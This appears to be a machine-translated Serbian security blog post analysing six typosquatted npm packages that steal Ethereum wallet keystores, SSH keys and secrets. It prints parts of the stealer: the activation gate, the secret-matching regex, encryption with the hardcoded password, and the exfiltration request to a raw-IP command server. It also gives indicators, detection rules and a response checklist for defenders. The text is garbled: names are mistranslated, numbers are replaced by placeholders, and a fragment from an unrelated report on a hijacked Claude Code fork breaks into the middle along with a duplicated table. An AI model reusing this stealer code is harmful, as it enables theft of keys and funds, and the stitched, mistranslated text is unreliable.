ТЛ; ДР
6. маја 2026. године, један npm издавач, namikazesarada010206, објавио је шест злонамерних пакета усмерених на екосистем програмера Ethereum, Solidity и DeFi.
Пакети, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, i web3-utils-core, користили су вероватна имена дизајнирана да изгледају као помоћне библиотеке за популарне Web3 алате.
Свих шест пакета садржало је исто telemetry.js датотека. Датотека је била бајтно идентична у целом кластеру, са SHA-256:
Злонамерни софтвер се не извршава приликом инсталације. Не постоји preinstall or postinstall кука. Уместо тога, активира се када се пакет увезе кроз require().
Тај детаљ је важан.
Имплантат чека док програмер заправо не користи пакет. Затим проверава да ли радна станица изгледа као право развојно окружење за Ethereum / Solidity. Тражи Alchemy или Infura кључеве, приватне кључеве, мнемонике, deployer кључеве или локални Foundry директоријум.
Ако се хост подудара, крадец прикупља SSH приватне кључеве, складишта кључева за Foundry / Geth / Brownie новчанике, .env* датотеке и осетљиве променљиве окружења. Шифрује пакет помоћу AES-256-GCM користећи чврсто кодирану лозинку и преноси га на сирову IPv4 C2 крајњу тачку са онемогућеном TLS верификацијом.
Xygeni-јев систем за рано упозоравање на злонамерни софтвер (MEW) потврдио је да је свих шест пакета злонамерно. npm извештај о уклањању пакета из регистра је на чекању.
Кластер: Шест пакета, један издавач
Налог издавача namikazesarada010206 је повезано са непровереном Gmail адресом namikazesarada010206@gmail.com.
Кампања се појавила као једнодневни објављивачки налет 6. маја 2026. Свих шест пакета је верзионисано као 1.0.0, није имао никакве зависности током извршавања и испоручио је само три датотеке:
package.json index.js telemetry.js Такође су декларисали исто изворно складиште:
https://github.com/harunosakura030303-maker/evmchain-config Прва три пакета су открили MEW скенери при првој публикацији. Преостала три су присилно означена након аналитичког прегледа npm профила издавача. Једном исти бајтно идентичан telemetry.js је потврђено у целом кластеру, затворени су као злонамерни због доследности.
| пакет | верзија | Објављено у npm-у | MEW карта | Пресуда |
|---|---|---|---|---|
| вием-кор | 1.0.0 | 2026-05-06 01:38:44Z | #КСНУМКС | Злонамјерно |
| viem-utils-core | 1.0.0 | 2026-05-06 | #КСНУМКС | Злонамјерно |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #КСНУМКС | Злонамјерно |
| evm-utils | 1.0.0 | 2026-05-06 | #КСНУМКС | Злонамерно, по доследности |
| foundry-utils | 1.0.0 | 2026-05-06 | #КСНУМКС | Злонамерно, по доследности |
| web3-utils-core | 1.0.0 | 2026-05-06 | #КСНУМКС | Злонамерно, по доследности |
Стратегија именовања је једноставна, али ефикасна.
Ови пакети не опонашају тачна имена узводних програма. Уместо тога, користе вероватне суфиксе „корисних програма“ као што су -core, -utils, i -utils-coreЗбог тога изгледају као пратеће библиотеке које би програмер очекивао да види близу Web3 алата.
| Злонамерни пакет | Легитимна мета |
|---|---|
| вием-кор | Viem, популарни Ethereum TypeScript клијент |
| viem-utils-core | вием |
| hardhat-core-utils | заштитне кациге, мејнстрим Solidity развојно окружење |
| evm-utils | Генерички именски простор EVM алата |
| foundry-utils | ливница, Solidity алатни ланац |
| web3-utils-core | web3-utils, Web3.js помоћници |
Ово је образац „додатног пакета“: не „Ја сам прави пакет“, већ „Изгледам као разуман помагач око правог пакета“.
За DeFi програмере који се брзо крећу, то је довољно да створи ризик.
Шта се дешава када се пакет увезе
Ланац напада је мали, намерно организован и фокусиран на крипто-развојна окружења.
Нема инсталационе траке. Уместо тога, сваки пакет садржи index.js који извози функционалност завршних редова, а затим учитава злонамерни телеметријски модул.
require('./telemetry').init(); То значи да се злонамерни софтвер активира при првом увозу.
То је оперативно корисно за нападача. Многи скенери и „песочњаци“ се фокусирају на понашање током инсталације. Овај пакет чека док га програмер, скрипта за изградњу, пакет за тестирање или путања извршавања заправо не употреби.
Активациона капија: Покреће се само на правим Web3 програмерским радним станицама
Најважнији део имплантата је активациона капија.
Злонамерни софтвер проверава променљиве окружења које се обично налазе на машинама програмера Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Такође проверава да ли је Foundry инсталиран:
fs.existsSync(path.join(os.homedir(), '.foundry')) Ако ниједан услов није тачан, функција враћа вредност и не ради ништа.
То чини пакет тишим у генеричким окружењима за анализу. Песковник без Foundry, Alchemy кључева, Infura кључева, приватних кључева или мнемонике може имати безопасан изглед.
На одговарајућем хосту, злонамерни софтвер чека 60 до 90 секунди пре него што се прикупи:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Кашњење смањује очигледну корелацију између увоза и извоза. .unref() позив такође омогућава хост процесу да се нормално заврши ако је пакет увезен у краткотрајној скрипти.
Ово није бучно понашање типа „смаши и зграби“. То је циљани крађа, дизајниран да избегне покретање осим ако се програмерско окружење не исплати красти.
Шта крадљивац сакупља
Када прође процес активације, злонамерни софтвер прикупља податке из извора који су најважнији у Web3 развоју: приватни кључеви, складишта кључева за новчанике, акредитиви за имплементацију, тајне у облаку, npm токени и конфигурација локалног пројекта.
| извор | Шта се прикупља |
|---|---|
| process.env | Било која променљива која се подудара са /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Датотеке које садрже PRIVATE KEY или BEGIN OPENSSH, укључујући цео садржај датотеке |
| ~/.foundry/keystores/* | Датотеке складишта кључева за новчаник Foundry |
| ~/.ethereum/keystore/* | Датотеке складишта кључева за Geth новчаник |
| ~/.brownie/accounts/* | Датотеке складишта кључева за Brownie новчаник |
| ${cwd}/.env | Комплетан садржај датотеке |
| ${cwd}/.env.local | Комплетан садржај датотеке |
| ${cwd}/.env.production | Комплетан садржај датотеке |
| ${cwd}/.env.development | Комплетан садржај датотеке |
| os.hostname() | Метаподаци хоста |
| крипто.рандомУУИД() | Идентификатор жртве/сесије |
| Дате.нов () | Временска ознака колекције |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com ATTA токени су:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Нисмо били у могућности да потврдимо да ли је телеметрија била сопствена аналитика оператера или посебно монетизовани канал. ATTA токени су исти у оба узорка која смо испитали.
Кластер Б: хеибаи
claude.hk OAuth фишинг + отмица ANTHROPIC_BASE_URL-а
Узорак од 1. априла је грубљи, ранији део кампање.
heibai:2.1.88-claude.hk-4 објавио је wuguoqiangvip28, налог креиран 7. јуна 2025. Пакет је експлицитно верзионисао себе против легитимног 2.1.88 Антропско ослобађање.
Не занима га CA-cert MITM. Уместо тога, лаже корисника о OAuth крајњој тачки.
Злонамерни додаци поред процурелог изворног кода Клодовог кода укључују:
| извор | Шта се прикупља |
|---|---|
| process.env | Било која променљива која се подудара са /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Датотеке које садрже PRIVATE KEY или BEGIN OPENSSH, укључујући цео садржај датотеке |
| ~/.foundry/keystores/* | Датотеке складишта кључева за новчаник Foundry |
| ~/.ethereum/keystore/* | Датотеке складишта кључева за Geth новчаник |
| ~/.brownie/accounts/* | Датотеке складишта кључева за Brownie новчаник |
| ${cwd}/.env | Комплетан садржај датотеке |
| ${cwd}/.env.local | Комплетан садржај датотеке |
| ${cwd}/.env.production | Комплетан садржај датотеке |
| ${cwd}/.env.development | Комплетан садржај датотеке |
| os.hostname() | Метаподаци хоста |
| крипто.рандомУУИД() | Идентификатор жртве/сесије |
| Дате.нов () | Временска ознака колекције |
Листа циљева је веома специфична. Ово није генеричка крађа прегледача или широко распрострањено крађе акредитива. Намењена је програмерима који граде, тестирају, имплементирају или управљају Етереум апликацијама.
Укључивање складишта кључева Foundry, Geth и Brownie је посебно важно. Ове датотеке могу представљати директан приступ новчаницима или идентитетима за имплементацију. Ако нападач може да их упари са лозинкама, мнемоникама или тајним подацима окружења, може бити у могућности да премешта средства, лажно се представља као имплементатори или угрози операције паметних уговора.
Шифровање пре ексфилтрације
Злонамерни софтвер шифрује прикупљене податке пре него што их пошаље.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Тврдо кодирана лозинка је:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Коначни корисни терет је упакован као JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Шифровање само по себи не чини злонамерни софтвер напреднијим. Међутим, отежава инспекцију мреже. Бранилац који прати излаз би видео JSON корисни терет, али не и украдене кључеве, датотеке новчаника или... .env садржај без чврсто кодиране лозинке и логике дешифровања.
Ексфилтрација на сирови IPv4 C2
Путања избацивања је чврсто кодирана:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Злонамерни софтвер шаље податке на:
https://76.13.37.80:8443/api/v1/telemetry Два детаља се истичу.
Прво, C2 је сирова IPv4 адреса, а не домен. То елиминише потребу за регистрацијом домена и избегава нека откривања заснована на доменима.
Друго, TLS верификација је онемогућена са:
rejectUnauthorized: false То омогућава злонамерном софтверу да прихвати било који сертификат, укључујући и самопотписане сертификате. Другим речима, нападач добија шифровани транспорт без потребе за важећим јавним сертификатом.
Не постоји логика поновног покушаја нити резервни хост. Грешке се тихо „гутају“. Ово одржава пакет тихим ако је C2 офлајн или недоступан.
Зашто је ова кампања важна
Већина злонамерних npm пакета намењених програмерима јури за широким акредитивима: npm токени, AWS кључеви, GitHub токени или .npmrc датотеке.
Ова кампања сужава циљ.
Тражи знаке да машина припада програмеру Ethereum-а или Solidity-ја. Затим повлачи тачно она средства која су важна у том окружењу: складишта кључева новчаника, приватне кључеве, мнемонике, кључеве за распоређивање, .env датотеке и SSH кључеве.
То чини кампању опаснијом за Web3 тимове него генерички крађа npm-ова.
Успешна инфекција може открити:
- Новчаници за имплементацију
- Администраторски кључеви паметних уговора
- Кључеви RPC провајдера
- Акредитиви за распоређивање у облаку
- npm токени за објављивање
- SSH приступ програмерима или инфраструктури за изградњу
- Тајне пројекта сачуване у
.envдатотеке - Складишта кључева новчаника за Foundry, Geth или Brownie
Називи пакета такође показују јасан друштвени инжењеринг. Они циљају екосистем Web3 програмера кроз позната имена алата: viem, hardhat, foundry, evm, i web3.
Глумац не мора да прави компромисе у вези са стварним пројектима. Потребан му је само програмер да инсталира оно што изгледа као разуман пратећи пакет.
Индикатори компромитовања и откривања
| Пакети и издавач | |
|---|---|
| Поље | Vrednost |
| НПМ издавач | намиказесарада010206 |
| Имејл адреса издавача | namikazesarada010206@gmail.com |
| Имејл је верификован | Не |
| SCM проверено | Не |
| Оцена репутације | 1.0 |
| Пакети | вием-цоре, вием-утилс-цоре, хардхат-цоре-утилс, евм-утилс, ливница-утилс, веб3-утилс-цоре |
| верзије | Све КСНУМКС |
| Изворни репозиторијум | https://github.com/harunosakura030303-maker/evmchain-config |
| Потврђено злонамерно | Свих шест пакета |
| мрежа | |
|---|---|
| тип | Vrednost |
| Крајња тачка C2 | https://76.13.37.80:8443/api/v1/telemetry |
| Ц2 ИП | 76.13.37.80 |
| C2 порт | 8443/тцп |
| Понашање TLS-а | одбацивањеНеовлашћено: нетачно |
| Шема корисног оптерећења | {"в":2,"ив": ,,д": ,,т": } |
| Датотеке и хешеви | |
|---|---|
| тип | Vrednost |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Распоред пакета | package.json, index.js, telemetry.js |
| Број датотека | 3 |
| Приближна укупна величина | КСНУМКС МБ |
Сигнали активације
Злонамерни софтвер проверава ове променљиве окружења:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Такође проверава:
~/.foundry/ Циљане путање хоста
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Колекција регуларних израза
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Белешке о детекцији
Неколико правила обухвата ову кампању без потребе за потпуном анализом понашања.
Прво, скенирајте датотеке закључавања за шест имена злонамерних пакета:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Било која утакмица у package-lock.json, yarn.lock, pnpm-lock.yaml, Или node_modules Историју треба третирати као озбиљан инцидент.
Друго, пратите Node.js процесе који читају путање складишта кључева новчаника:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Ово ретко је легитимно понашање за пакет увезен као помоћна зависност. Посебно је сумњиво када га прати одлазна мрежна активност.
Треће, блокирајте или упозоравајте на HTTPS конекције да би:
76.13.37.80:8443 Поготово када је путања захтева:
/api/v1/telemetry Четврто, потражите npm пакете који комбинују ове особине:
- Нови или издавач са ниском репутацијом
- Неверификован Gmail налог
- Име пакета суседног Web3-у
- Нема значајне историје спремишта
- Распоред ситног паковања
index.jsкоји учитава телеметрију или помоћну датотеку- Нема зависности од извршавања
- Осетљива колекција променљивих окружења
- Приступ складишту кључева за новчаник
Овај образац је кориснији од једног IOC-а јер следећи пакет може променити IP адресу, али задржати исту логику циљања.
Контролна листа за одговор на компромис
Ако је програмер користио један од шест пакета и његово окружење се подудара са капијом за активацију, радна станица се третира као угрожена.
То укључује машине са инсталираним Foundry-јем, Alchemy или Infura кључевима у окружењу, приватним кључевима, мнемотехничким средствима или кључевима за деплој.
Препоручени одговор:
- Искључите хост из мреже.
- Очувај
node_modules, датотеке закључавања, историја љуске и релевантни логови за форензику. - Ротирајте сваки SSH пар кључева испод
~/.ssh/. - Ротирајте кључеве новчаника за свако складиште кључева испод
~/.foundry,~/.ethereum, i~/.brownie. - Пребаците средства у нове новчанике.
- Ротирајте сваку тајну сачувану у
.env*датотеке у репозиторијумима у којима је програмер радио. - Ротирајте тајне окружења које одговарају регуларном изразу колекције, укључујући AWS кључеве, npm токене, токене за имплементацију, API кључеве, приватне кључеве, семена и мнемонике.
- Проверите активности у облаку, npm-у, GitHub-у, RPC провајдеру и блокчејну од прве инсталације пакета.
- Поново направите слику радне станице пре поновне употребе.
Шта би браниоци требало да понесу са собом
Ова кампања показује како се типосквотинг у нпм-у развија око екосистема високовредних програмера.
Актеру није била потребна истрајност. Није им била потребна обфускација. Није им чак било потребно ни извршавање током инсталације.
Уместо тога, ослањали су се на три ствари:
- Вероватна имена Web3 пакета
- Активација само на правим машинама за развој криптовалута
- Директна крађа датотека и тајни које су најважније програмерима Етереума
Због тога је кампању лако пропустити при широком скенирању и опасна је када се нађе у правом окружењу.
За Web3 тимове, лекција је јасна: третирајте имена зависности као део вашег модела претње. Пакет који изгледа као безопасни помагач и даље може постати најкраћи пут до компромитовања новчаника.
Пријављено npm регистру. Ажурираћемо ову објаву када налог издавача и пакети буду уклоњени.




